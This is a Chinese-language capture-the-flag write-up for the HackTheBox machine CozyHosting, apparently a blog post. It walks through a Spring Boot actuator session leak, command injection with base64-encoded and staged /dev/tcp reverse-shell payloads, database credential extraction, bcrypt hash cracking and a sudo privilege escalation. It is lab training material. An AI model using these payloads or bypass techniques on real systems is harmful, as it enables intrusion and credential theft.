HTB - CozyHosting - WriteUp
CozyHosting
前言:抓紧赛季末上一波分,错过开vip才能练了
信息收集
扫描看看端口的开放情况,开了22,80,5555。这里fscan显示会跳转到cozyhosting.htb。

那就需要修改hosts文件,将cozyhoting.htb解析到ip即可访问到80端口的站点:

目录探测
用dirsearch发现泄露了/actuator目录,那应该就是使用的springboot框架。

敏感信息泄露
首先去访问/actuator/env。如下很多信息都被*号脱敏,尝试通过/actuator/heapdump或者heapdump去下载JVM堆栈信息但都失败了。

但是在访问到/actuator/sessions的时候发现了cookie。

抓包改两次JSESSIONID也行,但用插件修改cookie登录上去更快一些。

进入后台的面板,里面有一个貌似可以执行ssh命令的地方,那就有大概率存在命令注入。

命令注入
base64绕过
抓包,尝试一下。出现错误会返回ssh的命令帮助。

经过几种尝试发现这样可以执行命令:

直接使用反弹shell的语句他提示不能包含空格,url编码也不行。

绕过空格就用${IFS}替换变量,再经过一次url编码,但还是不成。

尝试用base64编码之后再执行可以成功反弹shell。
;`echo${IFS}"c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjEvOTk5OSAwPiYx"|base64${IFS}-d|bash;`

分段反向shell
然后还学习到一个新姿势,查了一些资料。首先使用如下命令来创建一个与攻击者的tcp连接,并将标准输入(0)重定向到这个连接,sh是一个子shell的标记,用来在括号内执行命令。
;`(sh)0>/dev/tcp/10.10.14.21/9999`
之后执行如下将标准输出(1)和标准错误(2)都重定向到标准输入(0),exec会替代当前shell进程,不会创建一个新进程。
exec >&0
最后再使用下面的启动一个新的交互式bash,将输出记录到/dev/null中就会被抛弃。这样执行的命令不会在目标上留下任何痕迹了。
script /dev/null -c bash
最后成功反弹shell.

反编译jar包
基础的信息收集完之后没有发现有其他网段,当前目录下没有user flag但是有一个jar包,发现有python环境就直接下载下来。

将jar包放到一个目录下,创建一个用来存放反编译后的文件的目录。之后找到java-decompiler.jar的位置,使用高版本的jdk去执行如下:
C:\Users\admin\.jdks\openjdk-20.0.2\bin\java.exe -cp "D:\software\jetbrains\apps\IDEA-U\ch-0\232.8660.185\plugins\java-decompiler\lib\java-decompiler.jar" org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=true .\cloudhosting-0.0.1.jar .\cloudhosting\

敏感信息泄露
在设置的目录里面解压那个jar包,在idea中打开搜索一些关键字,找找配置文件,就翻到了数据库的连接账号和密码。这里还可以看到他使用的是cozyhosting这个库。

连接postgres
可以看到postgres的服务是开着的。

连接上数据库,列出的有两个表格一个host和一个user,显然要关注user表,查询得到的加密字符串一眼bcrypt。
app@cozyhosting:/app$ psql -h localhost -p 5432 -U postgres -d cozyhosting
psql -h localhost -p 5432 -U postgres -d cozyhosting
Password for user postgres: Vg&nvzAQ7XxR
psql (14.9 (Ubuntu 14.9-0ubuntu0.22.04.1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.
cozyhosting=# \dt
\dt
WARNING: terminal is not fully functional
Press RETURN to continue
List of relations
Schema | Name | Type | Owner
--------+-------+-------+----------
public | hosts | table | postgres
public | users | table | postgres
(2 rows)
(END)q
cozyhosting=#
cozyhosting=# select * from users;
select * from users;
WARNING: terminal is not fully functional
Press RETURN to continue
name | password | role
-----------+--------------------------------------------------------------+-------
kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
admin | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin
(2 rows)
(END)q
cozyhosting=#
cozyhosting=#
密码破解
想先爆破一下kanderson用户的但是出不来,想了想有可能是个测试用户,在idea中去搜索关键字找到了他的密码。

接着对admin进行破解,得到密文:manchesterunited
┌──(root㉿Lockly)-[/mnt/c/Users/admin]
└─# john -w=/usr/share/wordlists/rockyou.txt admin
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
manchesterunited (?)
1g 0:00:00:19 DONE (2023-09-11 16:00) 0.05141g/s 144.3p/s 144.3c/s 144.3C/s onlyme..keyboard
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
ssh连接
直接连ssh失败了,密码一个个敲了三遍都是错的。可能不是这个用户的。

回去看一下/etc/passwd,发现这台机器里面的用户有app, josh, postgres和root。

用josh连接成功,在当前目录下就有user flag。

提权
linpease探测
上传linpease搜集一些信息,发现sudo有suid滥用

suid滥用提权
直接去gtfobins上面找到命令提权。

root flag在/root目录下面,flag都到手了完结撒花。

HTB - CozyHosting - WriteUp的更多相关文章
- {黑掉这个盒子} \\ FluxCapacitor Write-Up
源标题:{Hack the Box} \ FluxCapacitor Write-Up 标签(空格分隔): CTF 好孩子们.今天我们将学习耐心和情绪管理的优点.并且也许有一些关于绕过WEB应用防 ...
- 2016第七季极客大挑战Writeup
第一次接触CTF,只会做杂项和一点点Web题--因为时间比较仓促,写的比较简略.以后再写下工具使用什么的. 纯新手,啥都不会.处于瑟瑟发抖的状态. 一.MISC 1.签到题 直接填入题目所给的SYC{ ...
- ISCC2016 WriteUp
日期: 2016-05-01~ 注:隔了好久才发布这篇文章,还有两道Pwn的题没放,过一阵子放上.刚开始做这个题,后来恰巧赶上校内CTF比赛,就把重心放在了那个上面. 这是第一次做类似于CTF的题,在 ...
- 参加 Tokyo Westerns / MMA CTF 2nd 2016 经验与感悟 TWCTF 2016 WriteUp
洒家近期参加了 Tokyo Westerns / MMA CTF 2nd 2016(TWCTF) 比赛,不得不说国际赛的玩法比国内赛更有玩头,有的题给洒家一种一看就知道怎么做,但是做出来还需要洒家拍一 ...
- 爱春秋之戏说春秋 Writeup
爱春秋之戏说春秋 Writeup 第一关 图穷匕见 这一关关键是给了一个图片,将图片下载到本地后,打开以及查看属性均无任何发现,尝试把图片转换为.txt格式.在文本的最后发现这样一串有规律的代码: 形 ...
- 使用 IMQ+HTB+iptable 统一流量控制心得
IMQ 是中介队列设备的简称,是一个虚拟的网卡设备,与物理网卡不同的是,通过它可以进行全局的流量整形,不需要一个网卡一个网卡地限速.这对有多个ISP接入的情况特别方便.配合 Iptables,可以非常 ...
- 《安全智库》:48H急速夺旗大战通关writeup(通关策略)
作者:ByStudent 题目名字 题目分值 地址 MallBuilder2 350 mall.anquanbao.com.cn MallBuilder1 200 mall.anquanbao.c ...
- Optimizing shaper — hashing filters (HTB)
I have a very nice shaper in my linux box :-) How the configurator works — it’s another question, he ...
- TC HTB r2q
HTB: quantum of class 10001 is big. Consider r2q change. 根据HTB的官方文档显示,quantum是在可以“借”的情况下,一次可以“借”多少,并 ...
- iscc2016 pwn部分writeup
一.pwn1 简单的32位栈溢出,定位溢出点后即可写exp gdb-peda$ r Starting program: /usr/iscc/pwn1 C'mon pwn me : AAA%AAsAAB ...
随机推荐
- MySQL面试题——隔离级别相关面试题
隔离级别相关面试题 MySQL事务隔离级别 未提交读--可以读到其他事务未提交的数据(最新的版本) 错误现象:脏读.不可重复读.幻读的现象 提交读(RC)--可以读到其他事务已提交的数据(最新已提交的 ...
- 织梦DEDEBIZ调用全站文章数量
织梦DEDEBIZ如何调用全站文章数量{dede:sql sql="select count(*) as c from biz_archives} 共有文章:[field:c/] 篇 {/d ...
- Solution Set -「ARC 124」
「ARC 124A」LR Constraints Link. 我们可以把 \(1\sim n\) 个盒子里能放的球的编号集合全部求出来.然后就直接来. 注意题目已经给出了 \(k\) 个球的位置,所以 ...
- destoon根据标题删除重复数据
因为采集数据比较庞大,难免出现重复数据,所以写了一个根据标题进行删除重复数据的mysql命令,需要的朋友可以使用. 1 2 3 4 DELETE from destoon_article_36 whe ...
- 研发三维GIS系统笔记/实现wgs84投影-001
1. 工作内容,改造引擎,支持wgs84投影 改造原因:目前投影是墨卡托投影(与Google Map一致) 目前的GIS系统是二维的采用这个坐标系是没有问题的 但不支持wgs84瓦片数据以及高程数据, ...
- Chapter 57. Multi-project Builds
http://www.gradle.org/docs/current/userguide/multi_project_builds.html#sec:decoupled_projects The po ...
- 2023_10_09_MYSQL_DAY_01_课后题
2023_10_09_MYSQL_DAY_01_课后题 #第三章 #1. 查询每名员工的员工姓名,入职时间. SELECT ename, hiredate FROM emp; #2. 查询部门表中部门 ...
- 什么???CSS也能原子化!
1.什么是原子化 CSS? Atomic CSS is the approach to CSS architecture that favors small, single-purpose class ...
- Kafka的零拷贝技术Zero-Copy
传统的拷贝过程 流程步骤: (1)操作系统将数据从磁盘文件中读取到内核空间的页面缓存: (2)应用程序将数据从内核空间读入用户空间缓冲区: (3)应用程序将读到数据写回内核空间并放入socket缓冲区 ...
- 使用卷积神经网络训练手写数字识别模型(CNN)
https://www.cnblogs.com/zylyehuo/ 效果展示 目录结构 README.md # Basic MNIST Example pip install -r requireme ...